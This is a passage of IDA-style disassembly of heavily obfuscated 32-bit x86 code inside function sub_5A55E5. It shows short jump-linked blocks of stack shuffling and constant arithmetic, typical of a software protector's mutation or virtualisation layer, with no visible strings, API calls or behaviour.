		push	dword ptr [edi+eax*4]
		push	[esp+96h+var_98+2]
		jmp	loc_5D0C63
; ---------------------------------------------------------------------------


loc_5D0D2F:				; CODE XREF: sub_5A55E5+2B8DAj
		sub	al, 0D0h
		push	small 2DDEh
		mov	word ptr [esp+9Ch+var_9C], dx
		mov	dl, 0E9h
		jmp	loc_5C73C8
; ---------------------------------------------------------------------------


loc_5D0D40:				; CODE XREF: sub_5A55E5+292CFj
		not	ebp
		neg	ebp
		xor	ebp, 0F80CBB27h
		xor	ebx, ebp
		pop	ebp
		mov	edi, ebx
		pop	ebx
		add	edi, 0FDB9C0B2h
		add	eax, 2CB70605h
		add	eax, edi
		jmp	loc_5C40A1
; ---------------------------------------------------------------------------


loc_5D0D62:				; CODE XREF: sub_5A55E5+2B7E5j
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		jmp	loc_5CEE95
; ---------------------------------------------------------------------------


loc_5D0D6F:				; CODE XREF: sub_5A55E5+258ACj
		push	28A1h
		mov	[esp+42h+var_42], esp
		push	edx
		jmp	loc_5CEA54
; ---------------------------------------------------------------------------


loc_5D0D7D:				; CODE XREF: sub_5A55E5+1B001j
		push	[esp+94h+var_90]
		pop	eax
		pop	[esp+94h+var_94]
		pop	esp
		push	esi
		push	edx
		mov	edx, 1C337744h
		mov	esi, edx
		pop	edx
		push	72C8h
		mov	[esp+94h+var_94], eax
		sub	esp, 4
		mov	[esp+98h+var_98], ebx
		mov	ebx, 53671391h
		mov	eax, ebx
		jmp	loc_5CDDFE
; ---------------------------------------------------------------------------


loc_5D0DAA:				; CODE XREF: sub_5A55E5+289B3j
		pop	edi
		push	ebx
		jmp	loc_5D098F
; ---------------------------------------------------------------------------


loc_5D0DB1:				; CODE XREF: sub_5A55E5+1CBFAj
		shr	esi, 5
		jmp	loc_5C8924
; ---------------------------------------------------------------------------


loc_5D0DB9:				; CODE XREF: sub_5A55E5+1D805j
		mov	[esp+7Ch+var_7C], ecx
		mov	ecx, 0A77678Bh
		and	edi, ecx
		push	[esp+7Ch+var_7C]
		pop	ecx
		push	ebp
		mov	ebp, esp
		jmp	loc_5D0D62
; ---------------------------------------------------------------------------


loc_5D0DCF:				; CODE XREF: sub_5A55E5+2E534j
		mov	eax, esp
		jmp	loc_5C8A2B
; ---------------------------------------------------------------------------


loc_5D0DD6:				; CODE XREF: sub_5A55E5+2602Bj
		mov	esp, [esp+92h+var_94+2]
		mov	ax, word ptr [esp+92h+var_94+2]
		sub	esp, 4
		jmp	loc_5C74DE
; ---------------------------------------------------------------------------


loc_5D0DE8:				; CODE XREF: sub_5A55E5+25E13j
		sub	esp, 4
		mov	[esp+9Eh+var_A0+2], ebx
		mov	bl, 3Ch
		mov	cl, bl
		mov	ebx, [esp+9Eh+var_A0+2]
		add	esp, 4
		sub	esp, 2
		mov	word ptr [esp+9Eh+var_A0+2], bx
		push	edx
		jmp	loc_5C7A7D
; ---------------------------------------------------------------------------


loc_5D0E0B:				; CODE XREF: sub_5A55E5+1C166j
		push	edi
		push	0FFFFFFFFh
		jmp	loc_5CFDE1
; ---------------------------------------------------------------------------


loc_5D0E16:				; CODE XREF: sub_5A55E5+2CDCAj
		mov	[esp+6Eh+var_70+2], ebx
		jmp	loc_5C7BBA
; ---------------------------------------------------------------------------


loc_5D0E1E:				; CODE XREF: sub_5A55E5+23036j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_5D3D4D
		push	43CAh
		mov	[esp+0A2h+var_A4+2], ebp
		jmp	loc_5C076A
; ---------------------------------------------------------------------------


loc_5D0E35:				; CODE XREF: sub_5A55E5+27FEEj
		mov	[esp+6Ch+var_6C], ecx
		mov	ecx, 4B65C33h
		jmp	loc_5C5938
; ---------------------------------------------------------------------------


loc_5D0E42:				; CODE XREF: sub_5A55E5+2C4A8j
		mov	eax, [esp+6Ch+var_6C]
		add	esp, 4
		push	esi
		push	edx
		mov	edx, 820EA521h
		mov	esi, edx
		jmp	loc_5C8FC2
; ---------------------------------------------------------------------------


loc_5D0E56:				; CODE XREF: sub_5A55E5+2468Fj
		mov	ebp, 1D7465C5h
		shl	ebp, 2
		jmp	loc_5C9331
; ---------------------------------------------------------------------------


loc_5D0E63:				; CODE XREF: sub_5A55E5+2E106j
		add	ch, 0D2h
		jmp	loc_5C262B
; ---------------------------------------------------------------------------


loc_5D0E6B:				; CODE XREF: sub_5A55E5+2B519j
		push	ebx
		sub	[esp+9Ch+var_9C], 23223D7Bh
		pop	eax
		jmp	loc_5D29D4
; ---------------------------------------------------------------------------


loc_5D0E79:				; CODE XREF: sub_5A55E5+27DE0j
		mov	al, 0C2h
		add	al, ch
		pop	ecx
		sub	ch, al
		jmp	loc_5C76B5
; ---------------------------------------------------------------------------


loc_5D0E85:				; CODE XREF: sub_5A55E5+29EEAj
		add	ecx, 1
		add	ecx, 1D4D2A12h
		jmp	loc_5CA035
; ---------------------------------------------------------------------------


loc_5D0E96:				; CODE XREF: sub_5A55E5+1E6ECj
		add	esp, 2
		add	al, ch
		sub	esp, 2
		mov	word ptr [esp+6Eh+var_70+2], cx
		push	eax
		mov	al, 5Ah
		mov	ch, 0E1h
		sub	ch, al
		pop	eax
		add	al, 90h
		sub	al, ch
		sub	al, 90h
		pop	cx
		mov	cx, word ptr [esp+6Ch+var_6C]
		add	esp, 2
		add	al, 0F8h
		sub	al, bl
		sub	al, 0F8h
		jmp	loc_5D0D2F
; ---------------------------------------------------------------------------


loc_5D0EC4:				; CODE XREF: sub_5A55E5+2BAE1j
		sub	esi, 77F4112Ch
		jmp	loc_5C2EBB
; ---------------------------------------------------------------------------


loc_5D0ECF:				; CODE XREF: sub_5A55E5+2771Fj
		push	esi
		mov	esi, 4E823157h
		add	esi, 5B590EE7h
		and	esi, 5B9359F5h
		and	esi, 1B9740F2h
		sub	esi, 993402Ch
		jmp	loc_5CB721
; ---------------------------------------------------------------------------


loc_5D0EF2:				; CODE XREF: sub_5A55E5+2411Ej
		push	[esp+0A0h+var_A0]
		pop	eax
		jmp	loc_5C4F7B
; ---------------------------------------------------------------------------


loc_5D0EFB:				; CODE XREF: sub_5A55E5+2AC18j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0C8h+var_C8]
		jmp	loc_5C5C7B
; ---------------------------------------------------------------------------


loc_5D0F0F:				; CODE XREF: sub_5A55E5+2A1CCj
		or	eax, 4B74301Dh
		shr	eax, 1
		push	esi
		mov	esi, 0D6B7AB6Bh
		sub	eax, esi
		jmp	loc_5C87ED
; ---------------------------------------------------------------------------


loc_5D0F23:				; CODE XREF: sub_5A55E5+26A93j
		mov	[esp+64h+var_64], edi
		jmp	loc_5C5E6C
; ---------------------------------------------------------------------------


loc_5D0F2B:				; CODE XREF: sub_5A55E5+1BD26j
		pop	ebx
		push	edx
		push	6778h
		mov	[esp+0C4h+var_C4], esi
		push	31E435D3h
		pop	esi
		sub	esi, 31E435CFh
		sub	esp, 4
		mov	[esp+0C8h+var_C8], edi
		mov	edi, esi
		mov	edx, edi
		jmp	loc_5C401A
; ---------------------------------------------------------------------------


loc_5D0F53:				; CODE XREF: sub_5A55E5+1AD48j
		add	ecx, 2697031Fh
		sub	esi, ecx
		pop	ecx
		push	edi
		mov	edi, 50E312BBh
		add	esi, 46161E4Eh
		sub	esi, edi
		sub	esi, 46161E4Eh
		pop	edi
		push	[esp+0A0h+var_A0]
		pop	ecx
		add	esp, 4
		push	eax
		mov	eax, esp
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		sub	eax, 4
		xchg	eax, [esp+0A0h+var_A0]
		mov	esp, [esp+0A0h+var_A0]
		mov	[esp+0A0h+var_A0], edx
		push	ebp
		push	edi
		jmp	loc_5C9DBF
; ---------------------------------------------------------------------------


loc_5D0F9A:				; CODE XREF: sub_5A55E5+2DC70j
		movzx	eax, al
		jmp	loc_5C0382
; ---------------------------------------------------------------------------
		push	[esp+0A8h+var_A8]
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+0ACh+var_AC]
		mov	esp, [esp+0ACh+var_AC]
		jmp	loc_5C5725
; ---------------------------------------------------------------------------


loc_5D0FC0:				; CODE XREF: sub_5A55E5+2AB16j
		xchg	esi, [esp+9Eh+var_A0+2]
		pop	esp
		mov	[esp+9Ah+var_9C+2], eax
		mov	eax, esp
		push	6CABh
		jmp	loc_5C6130
; ---------------------------------------------------------------------------


loc_5D0FD3:				; CODE XREF: sub_5A55E5+1E889j
		push	[esp+9Eh+var_A0+2]
		pop	edi
		add	esp, 4
		pop	[esp+9Ah+var_9C+2]
		mov	esp, [esp+96h+var_98+2]
		mov	[esp+96h+var_98+2], ebp
		push	esp
		pop	ebp
		push	ecx
		push	edi
		mov	edi, 4
		jmp	loc_5CAB4F
; ---------------------------------------------------------------------------


loc_5D0FF1:				; CODE XREF: sub_5A55E5+24958j
		neg	eax
		xor	eax, 14FB6D22h
		sub	eax, 7C7282F7h
		jmp	loc_5C651A
; ---------------------------------------------------------------------------


loc_5D1002:				; CODE XREF: sub_5A55E5+1FF82j
		pop	eax
		xor	ebx, 8880FF36h
		add	eax, 4C0A765Fh
		add	eax, ebx
		sub	eax, 4C0A765Fh
		jmp	loc_5C8166
; ---------------------------------------------------------------------------


loc_5D101A:				; CODE XREF: sub_5A55E5+26F67j
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5D101F:				; CODE XREF: sub_5A55E5+2C48Bj
		push	eax
		mov	eax, 774A5FBEh
		push	eax
		sub	[esp+0A2h+var_A4+2], 44A970EEh
		pop	ebx
		add	ebx, 44A970EEh
		pop	eax
		add	[esp+9Ah+var_90+2], ebx
		pop	ebx
		sub	[esp+96h+var_90+2], 630C45AEh
		add	[esp+96h+var_90+2], ecx
		add	[esp+96h+var_90+2], 630C45AEh
		sub	[esp+96h+var_90+2], 774A5FBEh
		pop	ecx
		add	[esp+92h+var_90+2], 61D41D01h
		jmp	loc_5CD71F
; ---------------------------------------------------------------------------


loc_5D1064:				; CODE XREF: sub_5A55E5+1FD44j
		or	ebx, esi
		pop	esi
		xor	ebx, 465157DAh
		neg	ebx
		or	ebx, 268711C8h
		sub	ebx, 0A6CF1FD7h
		add	ecx, 107F5C1Ch
		add	ecx, ebx
		sub	ecx, 107F5C1Ch
		pop	ebx
		push	3A2Bh
		jmp	loc_5C9CB4
; ---------------------------------------------------------------------------


loc_5D1094:				; CODE XREF: sub_5A55E5+1B6CDj
		sub	edi, 12D52421h
		jmp	loc_5D31D0
; ---------------------------------------------------------------------------


loc_5D109F:				; CODE XREF: sub_5A55E5+1C39Dj
		add	ebp, edi
		pop	edi
		push	ecx
		mov	ecx, 65BA3551h
		sub	ecx, 65BA354Dh
		add	ebp, 42AB2F7Bh
		jmp	loc_5CBA8D
; ---------------------------------------------------------------------------


loc_5D10B9:				; CODE XREF: sub_5A55E5+27C83j
		add	ah, 72h
		mov	dl, ah
		jmp	loc_5D18FD
; ---------------------------------------------------------------------------


loc_5D10C3:				; CODE XREF: sub_5A55E5+24786j
		pop	edi
		add	esi, eax
		jmp	loc_5D0EC4
; ---------------------------------------------------------------------------


loc_5D10CB:				; CODE XREF: sub_5A55E5+22757j
		mov	[esp+9Ch+var_9C], edi
		mov	di, 619Bh
		mov	cx, 9E67h
		add	cx, di
		jmp	loc_5D28E9
; ---------------------------------------------------------------------------


loc_5D10DE:				; CODE XREF: sub_5A55E5+24EA8j
		xchg	ebp, [esp+8Ah+var_8C+2]
		pop	esp
		push	esp
		pop	[esp+8Ah+var_8C+2]
		add	[esp+86h+var_88+2], 4
		push	[esp+86h+var_88+2]
		pop	ebx
		push	eax
		mov	eax, esp
		push	ecx
		mov	ecx, 4
		jmp	loc_5D1381
; ---------------------------------------------------------------------------


loc_5D10FC:				; CODE XREF: sub_5A55E5+29EA9j
		mov	edi, esp
		push	298Fh
		mov	[esp+8Ch+var_8C], ebp
		mov	ebp, 423A2289h
		dec	ebp
		not	ebp
		xchg	ebx, ebp
		xchg	edi, ebx
		dec	edi
		xchg	edi, ebx
		xchg	ebx, ebp
		xor	ebp, 0BDC5DD72h
		add	edi, 632562D6h
		add	edi, ebp
		sub	edi, 632562D6h
		jmp	loc_5C0E98
; ---------------------------------------------------------------------------
		push	6A16h
		jmp	loc_5C9BDE
; ---------------------------------------------------------------------------


loc_5D113A:				; CODE XREF: sub_5A55E5+23F08j
		sub	esp, 4
		mov	[esp+86h+var_88+2], ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		xchg	ebp, [esp+86h+var_88+2]
		pop	esp
		push	6409h
		jmp	loc_5C5201
; ---------------------------------------------------------------------------


loc_5D115F:				; CODE XREF: sub_5A55E5+2AD5Fj
		pop	ecx
		jmp	loc_5C3ADD
; ---------------------------------------------------------------------------


loc_5D1165:				; CODE XREF: sub_5A55E5+2BC8Fj
		sub	ebp, 4
		xchg	ebp, [esp+0A6h+var_A8+2]
		pop	esp
		mov	[esp+0A2h+var_A4+2], edx
		push	[esp+0A2h+var_A0+2]
		pop	edx
		pop	[esp+0A2h+var_A4+2]
		mov	esp, [esp+9Eh+var_A0+2]
		add	esp, 4
		dec	[esp+9Ah+var_9C+2]
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5D1186:				; CODE XREF: sub_5A55E5+26847j
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+6Ah+var_6C+2]
		pop	esp
		mov	[esp+66h+var_68+2], esp
		add	[esp+66h+var_68+2], 4
		pop	edx
		add	edx, 4
		add	edx, 4
		xor	edx, [esp+62h+var_64+2]
		xor	[esp+62h+var_64+2], edx
		xor	edx, [esp+62h+var_64+2]
		jmp	loc_5CD859
; ---------------------------------------------------------------------------


loc_5D11B8:				; CODE XREF: sub_5A55E5+1AE3Fj
		add	esp, 4
		pop	ebx
		jmp	loc_5D1C67
; ---------------------------------------------------------------------------


loc_5D11C1:				; CODE XREF: sub_5A55E5+2A6DBj
		pop	ebx
		push	edi
		jmp	loc_5C142E
; ---------------------------------------------------------------------------


loc_5D11C8:				; CODE XREF: sub_5A55E5+240F3j
		mov	ebp, [esp+9Ch+var_9C]
		add	esp, 4
		jmp	loc_5CEC0D
; ---------------------------------------------------------------------------


loc_5D11D6:				; CODE XREF: sub_5A55E5+2BC16j
		inc	edx
		neg	edx
		jmp	loc_5D06C9
; ---------------------------------------------------------------------------


loc_5D11DE:				; CODE XREF: sub_5A55E5+1DE04j
		pop	edx
		push	ebx
		jmp	loc_5D0A93
; ---------------------------------------------------------------------------


loc_5D11E5:				; CODE XREF: sub_5A55E5+1B0D4j
		mov	[esp+88h+var_88], edi
		push	2
		mov	edi, [esp+8Ch+var_8C]
		jmp	loc_5D3EE1
; ---------------------------------------------------------------------------


loc_5D11F5:				; CODE XREF: sub_5A55E5+1B238j
		mov	edx, 5FFB1DD5h
		dec	edx
		jmp	loc_5D11D6
; ---------------------------------------------------------------------------


loc_5D1200:				; CODE XREF: sub_5A55E5+1EA72j
		neg	ebp
		inc	ebp
		push	esi
		mov	esi, 0F9BDF4B5h
		xor	ebp, esi
		pop	esi
		push	esi
		mov	esi, ebp
		mov	eax, esi
		pop	esi
		jmp	loc_5CA288
; ---------------------------------------------------------------------------


loc_5D1217:				; CODE XREF: sub_5A55E5+1B3D3j
		add	esi, eax
		pop	eax
		jmp	loc_5C82A7
; ---------------------------------------------------------------------------


loc_5D121F:				; CODE XREF: sub_5A55E5+23BCBj
		mov	eax, 29842E22h
		sub	ecx, eax
		pop	eax
		pop	esi
		jmp	loc_5D07C6
; ---------------------------------------------------------------------------


loc_5D122D:				; CODE XREF: sub_5A55E5+2321Dj
		mov	ecx, 5E7F0312h
		jmp	loc_5C4A6E
; ---------------------------------------------------------------------------


loc_5D1237:				; CODE XREF: sub_5A55E5+2D868j
		mov	[esp+0A4h+var_A4], eax
		push	[esp+0A4h+var_A4]
		jmp	loc_5C441A
; ---------------------------------------------------------------------------


loc_5D1242:				; CODE XREF: sub_5A55E5+27763j
		pop	edx
		add	esi, ecx
		sub	esi, 2E7574ABh
		push	[esp+0B2h+var_B4+2]
		jmp	loc_5CB928
; ---------------------------------------------------------------------------


loc_5D1253:				; CODE XREF: sub_5A55E5+2CB93j
		add	cl, 0D2h
		sub	cl, 1Fh
		add	al, cl
		jmp	loc_5D34A4
; ---------------------------------------------------------------------------


loc_5D1260:				; CODE XREF: sub_5A55E5+23520j
		pop	edx
		jmp	loc_5C40D2
; ---------------------------------------------------------------------------


loc_5D1266:				; CODE XREF: sub_5A55E5+1CA80j
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5D126B:				; CODE XREF: sub_5A55E5+1CA9Bj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5D1165
; ---------------------------------------------------------------------------


loc_5D1279:				; CODE XREF: sub_5A55E5+2CF3Fj
		push	0B464308h
		pop	edx
		sub	esp, 4
		mov	[esp+92h+var_94+2], esi
		push	eax
		push	72771871h
		pop	eax
		add	eax, 71CCBA14h
		jmp	loc_5C63E2
; ---------------------------------------------------------------------------


loc_5D1299:				; CODE XREF: sub_5A55E5+1C7D8j
		pop	ebx
		add	esp, 4
		push	ecx
		mov	ecx, 5A29027Fh
		sub	esi, ecx
		pop	ecx
		push	ebp
		mov	ebp, 0FFFFFFFFh
		add	esi, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp+8Ch+var_8C], edi
		mov	edi, 3D816C9Eh
		and	edi, 1A13360Eh
		and	edi, 4CA54E7Ch
		sub	edi, 4DB56F7Eh
		add	edi, 0FFFFFFFFh
		jmp	loc_5D0126
; ---------------------------------------------------------------------------


loc_5D12D4:				; CODE XREF: sub_5A55E5+280CCj
		shl	eax, 6
		inc	eax
		not	eax
		sub	eax, 330E39DFh
		add	eax, 6E5AD6E5h
		mov	edx, eax
		pop	eax
		add	eax, edx
		pop	edx
		add	eax, 4
		xchg	eax, [esp+76h+var_78+2]
		pop	esp
		jmp	loc_5D38DD
; ---------------------------------------------------------------------------


loc_5D12F8:				; CODE XREF: sub_5A55E5+266DCj
		pop	esp
		mov	[esp+8Eh+var_90+2], ebp
		push	4F8h
		mov	[esp+92h+var_94+2], edx
		mov	edx, 494A16EFh
		add	edx, 266E13BFh
		push	edi
		push	esi
		mov	esi, 2D476C12h
		mov	edi, esi
		pop	esi
		inc	edi
		xor	edi, 735E7DE1h
		and	edx, edi
		mov	edi, [esp+96h+var_98+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+96h+var_98+2], ebx
		push	esi
		mov	esi, 30F43BFDh
		mov	ebx, esi
		jmp	loc_5CED86
; ---------------------------------------------------------------------------


loc_5D133E:				; CODE XREF: sub_5A55E5+27714j
		mov	[esp+0B6h+var_B8+2], edi
		push	ebx
		pop	edi
		pop	ebx
		neg	ebx
		xchg	ebx, edi
		and	edi, 20CE350Ah
		jmp	loc_5C1E9B
; ---------------------------------------------------------------------------


loc_5D1353:				; CODE XREF: sub_5A55E5+28B35j
		sub	esi, 15FF6B1Bh
		sub	esi, edx
		add	esi, 15FF6B1Bh
		jmp	loc_5D2110
; ---------------------------------------------------------------------------


loc_5D1366:				; CODE XREF: sub_5A55E5+2E33Fj
		add	esp, 4
		jmp	loc_5C0822
; ---------------------------------------------------------------------------


loc_5D136E:				; CODE XREF: sub_5A55E5+1ADA4j
		push	1C9Ch
		mov	[esp+0A8h+var_A8], esi
		push	ecx
		push	776B0C9Ch
		jmp	loc_5BFF29
; ---------------------------------------------------------------------------


loc_5D1381:				; CODE XREF: sub_5A55E5+2BB12j
		add	eax, ecx
		pop	ecx
		add	eax, 4
		xchg	eax, [esp+8Ah+var_8C+2]
		jmp	loc_5C8C02
; ---------------------------------------------------------------------------


loc_5D138F:				; CODE XREF: sub_5A55E5+23730j
		push	edi
		mov	edi, 4C4A334Ch
		inc	edi
		inc	edi
		xor	edi, 4C4A334Ch
		add	edx, edi
		pop	edi
		xchg	edx, [esp+8Eh+var_90+2]
		mov	esp, [esp+8Eh+var_90+2]
		pop	small word ptr [esp+8Eh+var_90+2]
		jmp	loc_5C5A47
; ---------------------------------------------------------------------------


loc_5D13AF:				; CODE XREF: sub_5A55E5+26C2Dj
		add	esp, 4
		jmp	loc_5C59D9
; ---------------------------------------------------------------------------


loc_5D13B7:				; CODE XREF: sub_5A55E5+283B1j
		pop	edi
		not	edx
		not	edx
		jmp	loc_5C3162
; ---------------------------------------------------------------------------


loc_5D13C1:				; CODE XREF: sub_5A55E5+2CDF2j
		xor	dl, ah
		xchg	bl, ah
		push	small 5052h
		mov	word ptr [esp+0BAh+var_BC+2], bx
		xchg	ah, byte ptr [esp+0BAh+var_BC+2]
		not	ah
		xchg	ah, byte ptr [esp+0BAh+var_BC+2]
		jmp	loc_5CFDA7
; ---------------------------------------------------------------------------


loc_5D13DA:				; CODE XREF: sub_5A55E5+29925j
		pop	[esp+0AEh+var_B0+2]
		jmp	loc_5D0812
; ---------------------------------------------------------------------------


loc_5D13E2:				; CODE XREF: sub_5A55E5+27291j
		sub	al, 17h
		pop	ebx
		push	4606h
		mov	[esp+9Ch+var_9C], edx
		push	2026h
		mov	[esp+0A0h+var_A0], ebx
		mov	bh, 67h
		push	eax
		mov	ah, 29h
		mov	dl, ah
		jmp	loc_5D1FC8
; ---------------------------------------------------------------------------


loc_5D1401:				; CODE XREF: sub_5A55E5+1DF31j
		mov	ebp, 1A333D90h
		mov	edx, ebp
		pop	ebp
		add	edx, 195D21A7h
		xor	edx, 33905F33h
		add	edi, edx
		pop	edx
		sub	edi, 4
		push	edi
		push	[esp+0A8h+var_A4]
		push	[esp+0ACh+var_AC]
		jmp	loc_5C876E
; ---------------------------------------------------------------------------


loc_5D142B:				; CODE XREF: sub_5A55E5+2ACCEj
		push	7DC5h
		mov	[esp+82h+var_84+2], eax
		mov	eax, 388137DDh
		mov	ebp, 9AD26043h
		sub	ebp, eax
		mov	eax, [esp+82h+var_84+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+86h+var_88+2]
		pop	esp
		dec	ebp
		add	ebp, 1
		shr	ebp, 5
		jmp	loc_5C2A6C
; ---------------------------------------------------------------------------


loc_5D1461:				; CODE XREF: sub_5A55E5+1E4DDj
		add	edx, 26C0A17h
		sub	edi, edx
		pop	edx
		sub	edi, 505A0891h
		add	edi, 29780A67h
		add	edi, ebp
		sub	edi, 29780A67h
		add	edi, 505A0891h
		add	edi, 3833AEDh
		push	esi
		push	70D13204h
		mov	esi, [esp+90h+var_90]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+94h+var_94]
		mov	esp, [esp+94h+var_94]
		xor	esi, 73BA7C2Fh
		or	esi, 7D11467h
		jmp	loc_5C6D76
; ---------------------------------------------------------------------------


loc_5D14B9:				; CODE XREF: sub_5A55E5+1F900j
		pop	si
		shl	si, 3
		or	si, 758Dh
		push	ebx
		mov	bx, 0EE9h
		sub	bx, 99DDh
		add	si, bx
		pop	ebx
		push	si
		xor	word ptr [esp+94h+var_94], 1BB5h
		pop	bp
		xor	bp, 1BB5h
		mov	esi, [esp+92h+var_94+2]
		add	esp, 4
		jmp	loc_5C2E5C
; ---------------------------------------------------------------------------


loc_5D14EC:				; CODE XREF: sub_5A55E5+2D955j
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5D14F1:				; CODE XREF: sub_5A55E5+2D4D0j
		sub	eax, edi
		jmp	loc_5CCF62
; ---------------------------------------------------------------------------


loc_5D14F8:				; CODE XREF: sub_5A55E5+2A21Cj
		mov	edi, 50A67551h
		jmp	loc_5C16F9
; ---------------------------------------------------------------------------


loc_5D1502:				; CODE XREF: sub_5A55E5+287A9j
		push	esi
		mov	esi, 73D52FBFh
		mov	ebx, esi
		pop	esi
		jmp	loc_5D3734
; ---------------------------------------------------------------------------


loc_5D1510:				; CODE XREF: sub_5A55E5+2AF89j
		push	ebp
		xor	[esp+72h+var_74+2], 196971B5h
		jmp	loc_5CE57D
; ---------------------------------------------------------------------------


loc_5D151D:				; CODE XREF: sub_5A55E5+1F42Cj
		pop	cx
		sub	al, dl
		push	ebx
		mov	bh, 62h
		xor	bh, 0F7h
		sub	al, bh
		jmp	loc_5C8586
; ---------------------------------------------------------------------------


loc_5D152E:				; CODE XREF: sub_5A55E5+2A55Ej
		shl	al, 8
		push	ecx
		mov	ch, 44h
		not	ch
		jmp	loc_5C974C
; ---------------------------------------------------------------------------


loc_5D153B:				; CODE XREF: sub_5A55E5+2E456j
		mov	[esp+8Ah+var_8C+2], eax
		push	[esp+8Ah+var_88+2]
		pop	eax
		jmp	loc_5CB191
; ---------------------------------------------------------------------------


loc_5D1548:				; CODE XREF: sub_5A55E5+29EC1j
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_5D1965
; ---------------------------------------------------------------------------


loc_5D1556:				; CODE XREF: sub_5A55E5+232FEj
		add	al, 18h
		add	al, 38h
		mov	ecx, [esp+0A6h+var_A8+2]
		jmp	loc_5CAAF8
; ---------------------------------------------------------------------------


loc_5D1562:				; CODE XREF: sub_5A55E5+1E5B8j
		inc	dh
		push	bx
		push	eax
		push	ecx
		mov	cl, dh
		mov	al, cl
		pop	ecx
		jmp	loc_5C6F5B
; ---------------------------------------------------------------------------


loc_5D1572:				; CODE XREF: sub_5A55E5+203D5j
		pop	ebx
		mov	ecx, [esp+72h+var_74+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+72h+var_74+2], edx
		push	6C43545Bh
		pop	edx
		add	edx, 47A64F1h
		shl	edx, 3
		shl	edx, 2
		neg	edx
		sub	esp, 4
		mov	[esp+76h+var_78+2], ecx
		push	4CD6h
		mov	[esp+7Ah+var_7C+2], edi
		mov	edi, 17B73180h
		push	edx
		push	1D00h
		mov	[esp+82h+var_84+2], edi
		jmp	loc_5CD396
; ---------------------------------------------------------------------------


loc_5D15B7:				; CODE XREF: sub_5A55E5+25815j
		mov	esi, esp
		jmp	loc_5D31B7
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	word ptr [esp+0AAh+var_AC+2], ax
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5D15CE:				; CODE XREF: sub_5A55E5+22272j
		sub	edi, ecx
		pop	ecx
		xor	edi, 3BE05444h
		jmp	loc_5CAE43
; ---------------------------------------------------------------------------


loc_5D15DC:				; CODE XREF: sub_5A55E5+27E84j
		and	edx, 96313F0h
		jmp	loc_5C5D85
; ---------------------------------------------------------------------------


loc_5D15E7:				; CODE XREF: sub_5A55E5+2E7B2j
		and	cl, ah
		pop	ax
		jmp	loc_5C4708
; ---------------------------------------------------------------------------


loc_5D15F0:				; CODE XREF: sub_5A55E5+1FFACj
		xchg	ebx, [esp+9Eh+var_A0+2]
		pop	esp
		jmp	loc_5C39C6
; ---------------------------------------------------------------------------


loc_5D15F9:				; CODE XREF: sub_5A55E5+2C821j
		push	789Ah
		mov	[esp+9Eh+var_A0+2], esi
		push	esp
		pop	esi
		add	esi, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		push	ebx
		push	[esp+0A6h+var_A4+2]
		pop	ebx
		pop	[esp+0A6h+var_A8+2]
		pop	esp
		jmp	loc_5CD0D4
; ---------------------------------------------------------------------------


loc_5D1627:				; CODE XREF: sub_5A55E5+2C859j
		push	[esp+9Eh+var_9C+2]
		pop	ecx
		pop	[esp+9Eh+var_A0+2]
		pop	esp
		mov	[esp+96h+var_98+2], ebp
		jmp	loc_5CEAD3
; ---------------------------------------------------------------------------


loc_5D1638:				; CODE XREF: sub_5A55E5+1CB5Ej
		add	edx, edi
		pop	edi
		add	edx, 17C24D88h
		jmp	loc_5CC6A4
; ---------------------------------------------------------------------------


loc_5D1646:				; CODE XREF: sub_5A55E5+1CB17j
		pop	ebx
		push	edx
		push	esi
		jmp	loc_5CAC1C
; ---------------------------------------------------------------------------


loc_5D164E:				; CODE XREF: sub_5A55E5+23C02j
		inc	ecx
		xor	ecx, 55722AC9h
		add	edx, ecx
		pop	ecx
		xor	edx, 51C15D06h
		add	edx, 0C578FBBCh
		add	eax, edx
		mov	edx, [esp+0ACh+var_AC]
		add	esp, 4
		xor	eax, [esp+0A8h+var_A8]
		xor	[esp+0A8h+var_A8], eax
		xor	eax, [esp+0A8h+var_A8]
		mov	esp, [esp+0A8h+var_A8]
		mul	ecx
		sub	esp, 4
		mov	[esp+0ACh+var_AC], ebp
		sub	esp, 4
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 1B2A15DDh
		not	eax
		shl	eax, 7
		jmp	loc_5CF663
; ---------------------------------------------------------------------------


loc_5D1699:				; CODE XREF: sub_5A55E5+21ED1j
		sub	ebp, 3A4971E5h
		add	ebp, 7FF33B3Eh
		add	ebp, ebx
		sub	ebp, 7FF33B3Eh
		add	ebp, 3A4971E5h
		pop	ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esp, 4
		mov	[esp+0A0h+var_A0], edx
		mov	edx, 4
		sub	esi, 4AAE0DBFh
		add	esi, 77BF686Ah
		sub	esi, edx
		sub	esi, 77BF686Ah
		add	esi, 4AAE0DBFh
		mov	edx, [esp+0A0h+var_A0]
		add	esp, 4
		jmp	loc_5C10D9
; ---------------------------------------------------------------------------


loc_5D16F3:				; CODE XREF: sub_5A55E5+1EDD7j
		pop	edi
		push	3D93h
		mov	[esp+0A6h+var_A8+2], esi
		mov	esi, 23EB0527h
		or	esi, 64180E7Ah
		not	esi
		push	12AFh
		mov	[esp+0AAh+var_AC+2], ebx
		jmp	loc_5CF5E9
